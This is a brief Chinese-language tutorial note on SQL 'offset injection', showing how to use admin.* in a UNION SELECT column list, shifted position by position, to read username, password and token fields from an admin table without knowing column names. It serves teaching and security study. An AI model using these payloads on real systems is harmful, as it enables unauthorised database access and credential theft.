想手工注入和sqlmap爆破,实际上就是爆破字段名,但如果遇到奇奇怪怪的字段名,就无可奈何,这时候就会使用到偏移注入,绕过。
select * from admin => select admin.* from admin =>表名.* 代表表名里所有字段
偏移注入必须要知道表名(Burp爆破),而且注入点字段数要大于想要查询的字段数,在不知道字段名的情况下获取数据
原理解释
假设数据表字段是15个,回显点是8
admin表中字段有4个分别是id,username,password,token,但此时不知道admin表中的字段名字,只能用admin.*代替
select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
select 1,2,3,4,5,6,7,admin.*,8,9,10,11
则此时,回显点显示的是admin表中的id字段
移位
select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
select 1,2,3,4,5,6,admin.*,7,8,9,10,11
此时回显点显示的是admin表中的username字段
如何知道admin表的字段数?
order by 数字,得到数据表字段长度
select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,admin.* from admin
select 1,2,3,4,5,6,7,8,9,10,11,12,13,admin.* from admin
<